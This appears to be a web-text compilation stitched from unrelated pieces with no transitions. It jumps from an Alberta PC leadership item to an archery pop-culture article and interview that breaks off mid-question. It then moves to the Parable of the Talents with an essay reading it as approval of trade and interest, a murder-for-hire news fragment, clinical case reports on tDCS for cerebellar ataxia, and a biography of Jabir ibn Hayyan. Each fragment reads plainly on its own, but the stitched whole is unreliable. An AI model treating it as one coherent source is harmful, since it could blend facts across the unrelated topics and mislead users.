The divided and disgruntled PC caucus will soon appoint an interim leader who will serve until the PC Party chooses their next leader in four to six months. The Alison Redford experiment has come to an ugly end and the natural governing party now faces the challenge of once again reinventing itself under a new leader.
Pop culture seemed filled with bow and arrow-wielding heroes from "Brave" to "Arrow"
Archery is attracting more interest from kids and teens, according to USA Archery
"The Hunger Games" heroine Katniss Everdeen inspired more than just a renewed interest in braided hairstyles.
Suddenly, in the immediate aftermath of the film's $400 million-plus box office success (in the United States alone), archery landed in the bull's-eye of pop culture.
Sure, we've had the occasional "Robin Hood" movies, which have achieved varying levels of success, and you could catch a glimpse of flying arrows in TV series like "Game of Thrones" and "The Walking Dead," but archers have now taken center stage. (Even the MTV Movie Awards had to spoof the phenomenon.)
"Brave," the Disney/Pixar hit, is about a young woman who could wield a bow and arrow with the best of them. Considering how long it takes to make an animated movie like "Brave," that's just a case of extraordinary timing.
It wasn't enough that the biggest blockbuster of 2012, "Marvel's The Avengers," starred Iron Man, the Hulk and friends. It also threw in an archer, Hawkeye.
Plus, if not for Michonne and her sword (maybe 2013 is fencing's year), this season of "The Walking Dead" might belong to Daryl, whose favorite zombie-slaying method is the crossbow.
JUST WATCHED Behind the scenes on 'Hunger Games' set Replay More Videos ... MUST WATCH Behind the scenes on 'Hunger Games' set 00:49
JUST WATCHED New 'Avengers' gag reel released Replay More Videos ... MUST WATCH New 'Avengers' gag reel released 01:19
The top new series on TV? That would be "Revolution," which includes -- you guessed it -- a heroine with a crossbow.
There's more to come: Lara Croft's return in the "Tomb Raider" video game will focus on archery, instead of a gun in each hand; and the next two "Hobbit" films have the promise of archers Bard the Bowman and Legolas.
Jeremy Gutsche, the chief trend hunter at Trendhunter.com , notes that "Google search volume for archery has remained relatively constant" for archery over the years, but that's not to say it hasn't made a splash: He saw archery-infused fashion shoots crop up this year.
However, he thinks a lot of it can be traced back to Jennifer Lawrence and the character of Katniss.
"There is an extra appeal that happens when you have one of the hottest pop cultural stars taking up any new sport, and in this case it happened to be archery."
It also doesn't hurt that she got high marks from her trainer on the film.
"She was very motivated and technically very good. I do think it looked good in the film. You can absolutely shoot apples from 80 to 100 yards out (like Lawrence's character did)," Olympic archer Khatuna Lorig told Fitness magazine.
So, how has pop culture affected archery as a sport? CNN turned to one of the experts, Teresa Iaconi, spokeswoman for USA Archery (including the Olympics team) and a level four archery coach.
CNN: What level of interest have you seen in the sport this year?
Iaconi: We have had massive gains this past year. Our membership has increased over 25% this year. We typically don't see gains like that. A lot of our membership transactions this year were new memberships. We're seeing new people joining the sport. At our national championships this year, we had our largest number of competitors since 2001. In 2001, we had roughly 370 adults and 150-200 kids. This year that number was completely reversed.
Our instructors have said they can't keep up with the demand. We think that's fantastic. As archery films continue to come out, assuming we continue to see that popularity increase, we can provide opportunities to grow.
CNN: Is the portrayal of archery accurate?
Iaconi: I don't think kids necessarily built a strong relationship with Kevin Costner's character in "Robin Hood: Prince of Thieves." When you have a heroine like Katniss Everdeen, it's another story. The young people who heard the buzz about it connected with her. I saw it with women on a bow hunt: You had 60-year-old women getting excited about that movie.
"Brave" got the archery so technically correct. They got the flux of the arrow right. Even a young archer will pick up on that. They made it look so beautiful. ... Disney-Pixar worked with us. We were able to arrange a screening with Olympic hopefuls, Olympians and their coaches screaming and cheering with this movie. They loved the fact that they got it right.
CNN: Do you think this level of interest can hold into the future?
For the kingdom of heaven is as a man travelling into a far country, who called his own servants, and delivered unto them his goods.
And unto one he gave five talents, to another two, and to another one: to every man according to his several ability; and straightway took his journey.
Then he that had received the five talents went and traded with the same, and made them other five talents.
And likewise he that had received two, he also gained other two.
But he that had received one went and digged in the earth, and hid his lord’s money.
After a long time the lord of those servants cometh, and reckoneth with them.
And so he that had received five talents came and brought other five talents, saying, Lord, thou deliveredst unto me five talents: behold, I have gained besides them five talents more.
His lord said unto him, Well done, thou good and faithful servant; thou hast been faithful over a few things, I will make thee ruler over many things: enter thou into the joy of thy lord.
He also that had received two talents came and said, Lord, thou deliveredst unto me two talents: behold, I have gained two other talents besides them.
His lord said unto him, Well done, good and faithful servant; thou hast been faithful over a few things, I will make thee ruler over many things: enter thou into the joy of thy lord.
Then he which had received the one talent came and said, Lord, I knew thee that thou art an hard man, reaping where thou hast not sown, and gathering where thou hast not strawed:
And I was afraid, and went and hid thy talent in the earth: lo, there thou hast that is thine.
His lord answered and said unto him, Thou wicked and slothful servant, thou knewest that I reap where I sowed not, and gather where I have not strawed:
Thou oughtest therefore to have put my money to the exchangers, and then at my coming I should have received mine own with usury.
Mathew 25, 14-27
The same story is told, with only trifling differences, in Luke 19, 12-27.
Most Christian churches, for reasons that had little to do with the teachings of Jesus Christ and much to do with the economic interest of their leaders, have been hostile to trade, have disapproved of profit and have particularly disapproved of the lending of money at interest. Yet here we have, in the very words of the Master, what appears to be a glowing affirmation of trading for profit as an admirable activity, success in which earns both praise and material reward, while lending money at interest is shown as an acceptable second best option for those who are unable to trade. What are we to make of this?
Those who have been embarrassed by this passage (and they have been many), have hastened to point out that it is a parable. It is a metaphor, to convey a spiritual message not a lecture on economics. This is true. The passage opens with the words “The kingdom of heaven is as…”. It is about the kingdom of heaven, and its meaning lies beyond what appears on the surface of the story. I do not deny this for a moment, nor do I have any problem with the traditional orthodox interpretation of the meaning, which is that the parable teaches us that each of us must make the utmost use of whatever capacities or abilities he or she possesses. It is from this interpretation that the common meaning of the word ‘talent’ as in ‘he has a talent for music’ is derived.
Nevertheless, while fully agreeing that the parable is not a lecture on economics, I contend that it does indeed tell us something, in fact a great deal, about its narrator’s attitude towards some questions of economics.
What are Parables?
A parable is a kind of metaphor, as we have already noticed; it compares one thing with another, normally something which is well known and easy to understand with something else which is more difficult. The simplest form of this type of use of language is the simile either expressed as when we say ‘he runs like a hare’, ‘he fought like a lion’, ‘he eats like a pig’, or implied, as when we simply call someone a lion or a pig. Now, the whole point of these comparisons is that they refer to the actual known (or assumed) characteristics of real things, and what is more, they invoke a whole set of attitudes and emotions that are associated with those things. Lions are not merely assumed to be strong and brave, they are admirable. Pigs are assumed to be dirty and greedy, and they are despicable. If we do not believe these thing – whether they are true or not – the simile is pointless, and so we today have difficulty with traditional comparisons with dogs (‘treat him like a dog’, ‘a dog’s life’) because they imply an attitude to dogs which we do not share.
The crucial point is that most simple similes and far more elaborate and extended metaphors, depend on much more than a single simple correspondence of one characteristic, like ‘quick as lightning’. Much more usually, as in the lion and pig examples, they involve a broad correspondence in emotional attitude, in values between the two things that are compared. While this is not quite always true – there are examples like ‘quick as lightning’ – what is always true without exception is that there is never actual dissonance between the emotional aura of the two things compared. It is unthinkable that anybody should ever use something which he regards as despicable as a symbol for something which he regards as noble, nor something which he regards as evil as a symbol for something which he regards as good.
We can see this point illustrated again and again in the parables of the New Testament. The parable of the sower would be incomprehensible if we did not automatically regard sowing as an activity of vital importance. The parable of the Good Shepherd (and indeed all the references to shepherds) would be meaningless if we did not regard sheep as both attractive and useful animals and shepherds as rather admirable people. One only has to contemplate the possibility of the Good Goatherd or the Good Swineherd to see the point. In our culture the Good Dog-owner would do very well but in the culture of the New Testament it would not have done. We are told not to throw pearls before swine, not before sheep. The prodigal son is reduced to caring for swine, not to caring for sheep, and so on for as long as you like.
Trading for Profit is Honourable and Desirable
What is the application of this to the parable of the talents? The basis of the story is the simple assumption, as obvious as that sowing is important and that sheep are useful and attractive, that trading for profit is an honourable and desirable activity, success in which deserves both praise and material reward, and that it is a fit symbol for the pursuit of spiritual growth, or however else exactly we interpret the real meaning of the parable. That Jesus thought otherwise (or indeed expected his hearers to think otherwise) is as impossible as that he thought that sheep were unclean or that shepherds were scoundrels.
The remark about lending money at interest (which occurs also in St Luke’s version), although it comes over as rather ‘throw away’, is still an essential part of the story. The ‘unprofitable servant’ was not condemned for not having made the best possible use of his talents. A second best would have been accepted, though obviously the reward would have been less. The assumption that lending money at interest is a proper thing and in some circumstances a positive duty, is perfectly plain and clear.
If these assumptions were in any way perverse we would have reason to be puzzled by them, but, on the contrary, they reflect a perfect understanding of the economic process. The active entrepreneurial use of wealth in collaboration with others (for that is what ‘trading’ implies) creates both wealth for those who do it (hence the reward to the ‘good and faithful servants’) but also creates widespread benefits for other people, contributing to the general welfare (hence the ‘joy of the Lord’). Those who cannot undertake entrepreneurship can sill make their contribution by placing their assets at the disposal of those who can, and the institution of lending at interest exists precisely to make this possible.
Is not the parable saying that just as the active and conscientious use of material assets in collaboration (trade) creates wealth both for those who do it and for others, so the active development of spiritual gifts in interaction with others enriches those who do it and enriches others as well. Furthermore, just as those who leave material assets idle do not merely remain as they are but are actually impoverished, so those who neglect their abilities actually deteriorate. Finally, the fact that what would have been the best option is closed to one is not an excuse for doing nothing. There are always second-best alternatives available.
What About the Poor?
How are we to reconcile this unequivocal approval of trading for profit with the equally unequivocal call to certain people to give all to the poor and follow me? We can do so very easily, just as we can reconcile the call to certain people to celibacy with the affirmation of marriage (both are found among other places, in Matt. 19). Any doctrine which is seriously meant to be followed as a rule of life must take cognisance of the fact that different people have to fulfil different roles. For everybody to ‘give everything to the poor’ and become wandering preachers would be the shortest way to ensure that everybody, very much including the poor, starved to death; but some people, like the twelve apostles but not only they, did leave everything and follow Jesus, and He certainly considered that what they did was of the uttermost value.
In recognising that different people have to fulfil different roles we have to recognise too that certain roles are incompatible with each other. Those who take on the role of wandering preachers cannot also marry or be property owners, not only because marriage and property will interfere with their preaching but perhaps more importantly because the life of a wandering preacher makes them unable to fulfil the obligations of a husband or wife or a property owner.
The image of the careful, conscientious property owner is presented with obvious approval in many places in the New Testament for example:
There was a certain householder who planted a vineyard and hedged it round about and digged a wine-press in it, and built a tower. (Matt. 21-23)
Every scribe who is instructed into the Kingdom of heaven is like a certain man who is a householder who bringeth forth from his treasure things old and new which he has carefully preserved, or created, as the scribe preserves old knowledge and creates new. (Matt. 13-57)
In contrast the figure of the rich men who are held up to condemnation in the parables are all people who squander their assets and use them entirely selfishly. The prodigal son ‘wasted his substance in riotous living’ (Luke 15-13). He is proposing to go one worse than to bury his talent; he is proposing to consume it. The rich man in the story of Lazarus is condemned for his selfishness. He could easily have succoured Lazarus but he did not do so.
Jesus Distinguished Between Honest and Dishonest Trading
There is one last problem. How do we reconcile the approval of trading for profit with the expulsion of the traders from the temple? This, too, is not difficult. Jesus Christ explained his actions in the matter in the following words: “Is it not written, My house shall be called of all nations the house of prayer but you have made it a den of thieves.” There are two complaints against the traders here. One is that the temple is not the proper place for trading; the other that the traders are dishonest.
It seems likely that the two points were linked; that the traders, under some sort of franchise from the temple, had a monopoly on the supply of sacrificial animals which would be accepted in the temple, and of the supply of the particular coinage that was acceptable for offering to the temple. If this was so, it is not surprising that the traders exploited the pilgrims, and it is very probable that the temple itself shared in the proceeds. If this was so, then so far from being an attack on trading the expulsion was a blow for free trade, but whether it was or not, it is perfectly clear that to condemn dishonest trading is not to condemn trading as such.
So, we see that the countenancing of honest, conscientious and constructive trading which the early Protestants (and some Catholic theologians too, at about the same time) found in the New Testament is indeed there.
Asked whether he had opened an investigation into Mr. Hall, the United States attorney in North Dakota said he could not confirm or deny the existence of any investigation. Mr. Hall said there was none, to his knowledge.
On Primary Day, he was resoundingly defeated as tribal chairman.
Also on Primary Day, coincidentally, Mr. Henrikson, with five co-defendants, was charged with the murders of Mr. Carlile and, though his body was never found, Mr. Clarke. He was federally indicted on two counts of murder for hire, four counts each of conspiracy and of solicitation to commit murder for hire, and one count of conspiracy to distribute heroin.
Three other potential victims, including the original investor in Blackstone, were targeted but not killed, the indictment said.
Mr. Henrikson pleaded not guilty. His trial is scheduled for July 2015. The murder charges carry a maximum penalty of life imprisonment or death.
In Washington, Mrs. Carlile, still mourning the loss of the “honorable man” with whom she had six children and 20 grandchildren, said they had been destined to become “one of those old couples that still held hands.”
But she was thankful for one thing, she said:
“His killing did open up the whole can of worms in that area and begin to expose the corruption.”
Image Mark N. Fox as he was sworn in as tribal chairman last month. Mr. Fox ran on a platform emphasizing good governance and greater oversight of the oil industry. Credit Brent McDonald/The New York Times
Patient 1. A 42-year-old female with sporadic, low progressive, cerebellar ataxia. The patient developed ataxia at the age of 11 with a mild incoordination disturbance of the left hand. During the following 15 years, she developed a bilateral incoordination disturbance with a worsening of gait and mild dysarthria. Brain MRI performed at the age of 29 showed an enlargement of the cerebellar vermis and of the fourth ventricle. In May 2012, she was hospitalized for diagnostic revaluation. There was only a mild worsening of the neurological condition, which at the neurological examination appeared as action tremor, dysarthria, and ataxic gait disturbances. The clinical picture showed a prevalent ataxia of the left side. MRI showed a slight evolution of cerebellar atrophy, and ocular mobility testing confirmed cerebellar involvement.
Acquired ataxias were excluded on the basis of anamnestic criteria and blood exams. Sporadic degenerative ataxias, such as multiple system atrophy (MSA) or sporadic adult onset ataxia, were excluded too by the clinical feature of the disease and a negative DAT-SCAN. No familiarity for neurological disorders was known. Gene research for SCA (1–2–3–6) genes was negative. Sporadic low progressive cerebellar ataxia diagnosis was made.
Patient 2. A 57-year-old man, who developed progressive speech and gait difficulties evolved over 1 year. The clinical picture at the first visit was characterized by ataxia and dysarthria. Frequent festination with continuous searching of support and balance loss were present. During the hospitalization, humoral biomarkers were tested in order to exclude secondary forms of cerebellar ataxia with normal results. A brain MRI showed a clear expansion of the cisterna magna and cerebellar spaces. The patient was screened for neoplastic disease with negative results. Also, anti-AB CNS test was negative. Diagnosis of MSA was excluded based on clinical picture and a negative DAT-SCAN. Genetic tests for SCA (1–2–3–6) are being performed. Idiopathic late-onset cerebellar ataxia diagnosis was made while waiting for the genetic test’s results.
Patient 3. A 50-year-old woman presented with a 3-year history of gradually worsening dizziness and action tremor. His speech and swallowing were normal. There was no family history. On examination, segmental dysmetria, gait ataxia, and clearly disturbed tandem gait were present. The disturbance was overall prevalent on the left side. A brain MRI showed cerebellar atrophy, mainly in the vermis region. To exclude secondary forms of cerebellar ataxia, humoral biomarkers were performed with normal values. Acquired forms of cerebellar ataxia were excluded, and genetic testing was made. Mutation analysis resulted in SCA-6 disease.
tDCS For each patient, most affected side was individuated using both clinical examination and gait analysis. Stimulation was given with opposite polarity to the two motor areas. tDCS polarity (cathodal or anodal) refers to the electrode over M1. Anodal electrode was placed on the motor cortex contralateral to the most affected side. Cathodal stimulation was placed on motor cortex of the less affected side of the body. For each couple of electrodes, the referring one was put over the contralateral forehead. Both anodal and cathodal stimulation were delivered by an electrical stimulator (brainSTIM Transcranial Stimulator by EMS Electromedical Systems S.r.l. www.emsmedical.net) through a constant current unit and an isolation unit [5] connected to a pair of electrodes. Stimulating electrodes were thick (0.3 cm) square (72.25 cm2) pieces of saline-soaked synthetic sponge. Safety was guaranteed by application of Nitsche [6] consideration. The current density for each electrode was 0.027 mA⁄cm2 and delivered a total charge of 0.033 C⁄cm2. These values respected the tissue damage limit used in other protocols [7, 8, 9]. One of the patients referred transient burning sensations below the electrode during the current ascending phase at the beginning of simulation. No other symptom was reported. Patients were blinded for the treatment. Everyone underwent a sham week of stimulation, and then after 1 month evaluation period, a week of tDCS.
Clinical Evaluation A clinical blind evaluation, a video-taped Scale for the Assessment and Rating of Ataxia (SARA) rating scale [10] and a gait analysis with cinematic parameters, were performed. Every patient was evaluated at baseline, post-sham and post-direct current stimulation (DCS) cycle. The follow-up period was set at 15 and 30 days after the end of stimulation period.
Mūsā Jābir ibn Hayyān (Arabic/Persian جابر بن حيان, often given the nisbas, al-Azdi, al-Kufi, al-Tusi or al-Sufi; fl. c. 721 – c. 815),[2] is the supposed[3] author of an enormous number and variety of works in Arabic often called the Jabirian corpus.[4] The scope of the corpus is vast and diverse covering a wide range of topics, including alchemy, cosmology, numerology, astrology, medicine, magic, mysticism and philosophy.[5] He has been widely described as the father[6][7][8] or the founder of early chemistry, inventing many of the basic processes and equipment still used by chemists today.[9]
As early as the 10th century, the identity and exact corpus of works of Jabir was in dispute in Islamic circles.[10] The authorship of all these works by a single figure, and even the existence of a historical Jabir, are also doubted by modern scholars.[3][11] Instead, Jabir ibn Hayyan is seen more like a pseudonym to whom "underground writings" by various authors became ascribed.[12]
His name was Latinized as "Geber" in the Christian West and in 13th-century Europe an anonymous writer, usually referred to as Pseudo-Geber, produced alchemical and metallurgical writings under the pen-name Geber.[13]
Biography [ edit ]
Early references [ edit ]
In 988 Ibn al-Nadim compiled the Kitab al-Fihrist which mentions Jabir as a spiritual follower, companion and as a student to Jafar as-Sadiq, the sixth Shia Imam. In another reference al-Nadim reports that a group of philosophers claimed Jabir was one of their own members. Another group, reported by al-Nadim, says only The Large Book of Mercy is genuine and that the rest are pseudographical. Their assertions are rejected by al-Nadim.[10] Joining al-Nadim in asserting a real Jabir; Ibn-Wahshiyya ("Jaber ibn Hayyn al-Sufi ...book on poison is a great work...") Rejecting a real Jabir; (the philosopher c. 970) Abu Sulayman al-Sijistani claims the real author is one al-Hasan ibn al-Nakad al-Mawili. The 14th century critic of Arabic literature, Jamal al-Din ibn Nubata al-Misri declares all the writings attributed to Jabir doubtful.[5]
Life and background [ edit ]
According to the philologist-historian Paul Kraus (1904–1944), Jabir cleverly mixed in his alchemical writings unambiguous references to the Ismaili or Qarmati movement. Kraus wrote, “Let us first notice that most of the names we find in this list have undeniable affinities with the doctrine of Shi'i Gnosis, especially with the Ismaili system”.[14] Henry Corbin believes that Jabir ibn Hayyan was an Ismaili.[15] Jabir was a natural philosopher who lived mostly in the 8th century; he was born in Tus, Khorasan, in Persia,[2] well known as Iran then ruled by the Umayyad Caliphate. Jabir in the classical sources has been variously attributed as al-Azdi, al-Kufi, al-Tusi, al-Sufi, al-Tartusi or al-Tarsusi, and al-Harrani.[16][17] There is a difference of opinion as to whether he was an Arab[18] from Kufa who lived in Khurasan, or a Persian[19][20][21] from Khorasan who later went to Kufa[16] or whether he was, as some have suggested, of Syrian Sabian[22] origin and later lived in Persia and Iraq.[16] In some sources, he is reported to have been the son of Hayyan al-Azdi, a pharmacist of the Arabian Azd tribe who emigrated from Yemen to Kufa (in present-day Iraq).[23] while Henry Corbin believes Geber seems to have been a non-Arab client of the 'Azd tribe.[24] Hayyan had supported the Abbasid revolt against the Umayyads, and was sent by them to the province of Khorasan to gather support for their cause. He was eventually caught by the Umayyads and executed. His family fled to Yemen,[23][25] perhaps to some of their relatives in the Azd tribe,[26] where Jabir grew up and studied the Quran, mathematics and other subjects.[23] Jabir's father's profession may have contributed greatly to his interest in alchemy.
After the Abbasids took power, Jabir went back to Kufa. He began his career practicing medicine, under the patronage of a Vizir (from the noble Persian family Barmakids) of Caliph Harun al-Rashid. His connections to the Barmakid cost him dearly in the end. When that family fell from grace in 803, Jabir was placed under house arrest in Kufa, where he remained until his death.
It has been asserted that Jabir was a student of the sixth Imam Ja'far al-Sadiq and Harbi al-Himyari;[10][27] however, other scholars have questioned this theory.[28]
The Jabirian corpus [ edit ]
An illustration of the various experiments and instruments used by Jabir Ibn Hayyan.
In total, nearly 3,000 treatises and articles are credited to Jabir ibn Hayyan.[29] Following the pioneering work of Paul Kraus, who demonstrated that a corpus of some several hundred works ascribed to Jābir were probably a medley from different hands,[5]:3[30] mostly dating to the late 9th and early 10th centuries, many scholars believe that many of these works consist of commentaries and additions by his followers,[citation needed] particularly of an Ismaili persuasion.[31] On the other hand, contemporary scholar Syed Nomanul Haq refuses the multiplicity of authors hypothesis, and says that Kraus has misrepresented the Jabirian corpus for three main reasons : a) he hasn't inspected the bibliographies correctly, considering that there have been many leaps (in one instance, we have no titles between 500 and 530), so, all in all, the numbers are more over 500 than close to 3000 ; b) in many cases, a part or chapter of a book has been counted as a book itself, like with the Kitab al-Jumal al-'Ishrin (book of twenty maxims), which has been counted for 20 books and c) finally, many of the supposed "books" are not so in the formal sense, the Kitab al-Sahl occupying a single paragraph and many others few folios. Syed Nomanul Haq concludes that "this rough investigation makes it abundantly clear that we should view with a great deal of suspicion any arguments for a plurality of authors which is based on Kraus’ inflated estimate of the volume of the Jabirian corpus."[32]
The scope of the corpus is vast: cosmology, music, medicine, magic, biology, chemical technology, geometry, grammar, metaphysics, logic, artificial generation of living beings, along with astrological predictions, and symbolic Imâmî myths.[5]:5
The 112 Books dedicated to the Barmakids, viziers of Caliph Harun al-Rashid. This group includes the Arabic version of the Emerald Tablet , an ancient work that proved a recurring foundation of and source for alchemical operations. In the Middle Ages it was translated into Latin ( Tabula Smaragdina ) and widely diffused among European alchemists.
dedicated to the Barmakids, viziers of Caliph Harun al-Rashid. This group includes the Arabic version of the , an ancient work that proved a recurring foundation of and source for alchemical operations. In the Middle Ages it was translated into Latin ( ) and widely diffused among European alchemists. The Seventy Books , most of which were translated into Latin during the Middle Ages. This group includes the Kitab al-Zuhra ("Book of Venus") and the Kitab Al-Ahjar ("Book of Stones").
, most of which were translated into Latin during the Middle Ages. This group includes the ("Book of Venus") and the ("Book of Stones"). The Ten Books on Rectification , containing descriptions of alchemists such as Pythagoras, Socrates, Plato and Aristotle.
, containing descriptions of alchemists such as Pythagoras, Socrates, Plato and Aristotle. The Books on Balance; this group includes his most famous 'Theory of the balance in Nature'.
Jabir states in his Book of Stones (4:12) that "The purpose is to baffle and lead into error everyone except those whom God loves and provides for". His works seem to have been deliberately written in highly esoteric code (see steganography), so that only those who had been initiated into his alchemical school could understand them. It is therefore difficult at best for the modern reader to discern which aspects of Jabir's work are to be read as ambiguous symbols, and what is to be taken literally. Because his works rarely made overt sense, the term gibberish is believed to have originally referred to his writings (Hauck, p. 19).
People [ edit ]
Jabir professed to have drawn his alchemical inspiration from earlier writers, both legendary and historic, on the subject.[33] In his writings, Jabir pays tribute to Egyptian and Greek alchemists Zosimos, Democritus, Hermes Trismegistus, Agathodaemon, but also Plato, Aristotle, Galen, Pythagoras, and Socrates, as well as the commentators Alexander of Aphrodisias, Simplicius, Porphyry and others.[5]:5
A huge pseudo-epigraphic literature of alchemical books was composed in Arabic, among which the names of Persian authors also appear like Jāmāsb, Ostanes, Mani, testifying that alchemy-like operations on metals and other substances were also practiced in Persia. The great number of Persian technical names (zaybaq = mercury, nošāder = sal-ammoniac) also corroborates the idea of an important Iranian root of medieval alchemy.[34] Ibn al-Nadim reports a dialogue between Aristotle and Ostanes, the Persian alchemist of Achaemenid era, which is in Jabirian corpus under the title of Kitab Musahhaha Aristutalis.[35] Ruska had suggested that the Sasanian medical schools played an important role in the spread of interest in alchemy.[34] He emphasizes the long history of alchemy, "whose origin is Arius ... the first man who applied the first experiment on the [philosopher's] stone... and he declares that man possesses the ability to imitate the workings of Nature" (Nasr, Seyyed Hussein, Science and Civilization of Islam).
Theories [ edit ]
Jabir's alchemical investigations ostensibly revolved around the ultimate goal of takwin – the artificial creation of life. The Book of Assemblage "Kitāb Al-Tajmi' "[36] includes several recipes for creating creatures such as scorpions, snakes, and even humans in a laboratory environment, which are subject to the control of their creator. What Jabir meant by these recipes is unknown.
Jabir's alchemical investigations were theoretically grounded in an elaborate numerology related to Pythagorean and Neoplatonic systems.[citation needed] The nature and properties of elements were defined through numeric values assigned to the Arabic consonants present in their name.
By Jabir's time Aristotelian physics had become Neoplatonic. Each Aristotelian element was composed of these qualities: fire was both hot and dry, earth, cold and dry, water cold and moist, and air, hot and moist. This came from the elementary qualities which are theoretical in nature plus substance. In metals two of these qualities were interior and two were exterior. For example, lead was cold and dry and gold was hot and moist. Thus, Jabir theorized, by rearranging the qualities of one metal, a different metal would result. Like Zosimos, Jabir believed this would require a catalyst, an al-iksir, the elusive elixir that would make this transformation possible – which in European alchemy became known as the philosopher's stone.[5]
According to Jabir's mercury-sulfur theory, metals differ from each in so far as they contain different proportions of the sulfur and mercury. These are not the elements that we know by those names, but certain principles to which those elements are the closest approximation in nature.[37] Based on Aristotle's "exhalation" theory the dry and moist exhalations become sulfur and mercury (sometimes called "sophic" or "philosophic" mercury and sulfur). The sulfur-mercury theory is first recorded in a 7th-century work Secret of Creation credited (falsely) to Balinus (Apollonius of Tyana). This view becomes widespread.[38] In the Book of Explanation Jabir says
the metals are all, in essence, composed of mercury combined and coagulated with sulphur [that has risen to it in earthy, smoke-like vapors]. They differ from one another only because of the difference of their accidental qualities, and this difference is due to the difference of their sulphur, which again is caused by a variation in the soils and in their positions with respect to the heat of the sun
Holmyard says that Jabir proves by experiment that these are not ordinary sulfur and mercury.[23]
The seeds of the modern classification of elements into metals and non-metals could be seen in his chemical nomenclature. He proposed three categories:[39]
The origins of the idea of chemical equivalents might be traced back to Jabir, in whose time it was recognized that "a certain quantity of acid is necessary in order to neutralize a given amount of base."[40][verification needed]
Laboratory equipment and material [ edit ]
The Jabirian corpus is renowned for its contributions to alchemy. It shows a clear recognition of the importance of experimentation, "The first essential in chemistry is that thou shouldest perform practical work and conduct experiments, for he who performs not practical work nor makes experiments will never attain to the least degree of mastery."[41] He is credited with the use of over twenty types of now-basic chemical laboratory equipment,[42] such as the alembic[43] and retort, and with the description of many now-commonplace chemical processes – such as crystallisation, various forms of alchemical "distillation", and substances citric acid (the sour component of lemons and other unripe fruits), acetic acid (from vinegar) and tartaric acid (from wine-making residues), arsenic, antimony and bismuth, sulfur, and mercury[41][42] that have become the foundation of today's chemistry.[44]
According to Ismail al-Faruqi and Lois Lamya al-Faruqi, "In response to Jafar al-Sadik's wishes, [Jabir ibn Hayyan] invented a kind of paper that resisted fire, and an ink that could be read at night. He invented an additive which, when applied to an iron surface, inhibited rust and when applied to a textile, would make it water repellent."[45]
Mineral acids and alcohol [ edit ]
Directions to make mineral acids such as sulfuric acid, nitric acid and aqua regis appear in the Arabic Jabirian corpus,[46] and later in the pseudo-Geberian works Liber Fornacum, De inventione perfectionis, and the Summa.[47]
According to Forbes, there is no proof that Jabir knew alcohol.[47] Later, Al-Kindi unambiguously described the distillation of wine in the 9th century.[48][49][50]
Legacy [ edit ]
The book cover of The Works of Geber book by E J Holmyard and Richard Russell.
European depiction of "Geber".
Whether Jabir lived in the 8th century or not, his name would become the most famous in alchemy.[28] He paved the way for most of the later alchemists, including al-Kindi, al-Razi, al-Tughrai and al-Iraqi, who lived in the 9th–13th centuries. His books strongly influenced the medieval European alchemists[44] and justified their search for the philosopher's stone.[51][52] In the Middle Ages, Jabir's treatises on alchemy were translated into Latin and became standard texts for European alchemists. These include the Kitab al-Kimya (titled Book of the Composition of Alchemy in Europe), translated by Robert of Chester (1144); and the Kitab al-Sab'een (Book of Seventy) by Gerard of Cremona (before 1187). Marcelin Berthelot translated some of his books under the fanciful titles Book of the Kingdom, Book of the Balances, and Book of Eastern Mercury. Several technical Arabic terms introduced by Jabir, such as alkali, have found their way into various European languages and have become part of scientific vocabulary.
Max Meyerhoff states of Jabir ibn Hayyan:
"His influence may be traced throughout the whole historic course of European alchemy and chemistry."[44]
The historian of chemistry Erick John Holmyard gives credit to Jabir for developing alchemy into an experimental science and he writes that Jabir's importance to the history of chemistry is equal to that of Robert Boyle and Antoine Lavoisier. The historian Paul Kraus, who had studied most of Jabir's extant works in Arabic and Latin, summarized the importance of Jabir to the history of chemistry by comparing his experimental and systematic works in chemistry with that of the allegorical and unintelligible works of the ancient Greek alchemists.[53] The word gibberish is theorized to be derived from the Latinised version of Jabir's name,[54] in reference to the incomprehensible technical jargon often used by alchemists, the most famous of whom was Jabir.[55] The Oxford English Dictionary suggests the term stems from gibber; however, the first known use of the term "gibberish" dates prior to the first known use of the word "gibber".
The Geber problem [ edit ]
The identity of the author of works attributed to Jabir has long been discussed.[10] According to a famous controversy,[56] pseudo-Geber has been considered as the unknown author of several books in Alchemy.[57] This was first independently suggested, on textual and other grounds, by the 19th-century historians Hermann Kopp and Marcellin Berthelot.[58] Jabir, by reputation the greatest chemist of Islam, has long been familiar to western readers under the name of Geber, which is the medieval rendering of the Arabic Jabir, the Geber of the Middle Ages.[59] The works in Latin corpus were considered to be translations until the studies of Kopp, Hoefer, Berthelot, and Lippman. Although they reflect earlier Arabic alchemy they are not direct translations of "Jabir" but are the work of a 13th-century Latin alchemist.[60] Eric Holmyard says in his book Makers of Chemistry Clarendon press.(1931).[61]
There are, however, certain other Latin works, entitled The Sum of Perfection, The Investigation of Perfection, The Invention of Verity, The Book of Furnaces, and The Testament, which pass under his name but of which no Arabic original is known. A problem which historians of chemistry have not yet succeeded in solving is whether these works are genuine or not.
However, by 1957 when he (Holmyard) wrote Alchemy[62] Holmyard had abandoned the idea of an Arabic original (although they are based on "Islamic" alchemical theories).
The question at once arises whether the Latin works are genuine translations from the Arabic, or written by a Latin author and, according to common practice, ascribed to Jabir in order to heighten their authority. That they are based on Muslim alchemical theory and practice is not questioned, but the same may be said of most Latin treatises on alchemy of that period; and from various turns of phrase it seems likely that their author could read Arabic. But the general style of the works is too clear and systematic to find a close parallel in any of the known writings of the Jabirian corpus, and we look in vain in them for any references to the characteristically Jabirian ideas of "balance" and the alphabetic numerology. Indeed for their age they have a remarkably matter of fact air about them, theory being stated with a minimum of prolixity and much precise practical detail being given. The general impression they convey is that they are the product of an occidental rather than an oriental mind, and a likely guess would be that they were written by a European scholar, possibly in Moorish Spain. Whatever their origin, they became the principal authorities in early Western alchemy and held that position for two or three centuries.
The question of Pseudo-Gebers identity was still in dispute in 1962.[63] It is said that Geber, the Latinized form of "Jabir," was adopted presumably because of the great reputation of a supposed 8th-century alchemist by the name of Jabir ibn Hayyan.[64] About this historical figure, however, there was considerable uncertainty a century ago,[65] and the uncertainty continues today.[66] This is sometimes called the "Geber-Jābir problem".[10] It is possible that facts mentioned in the Latin works, ascribed to Geber and dating from the twelfth century and later, may be placed to Jabir's credit.[59]
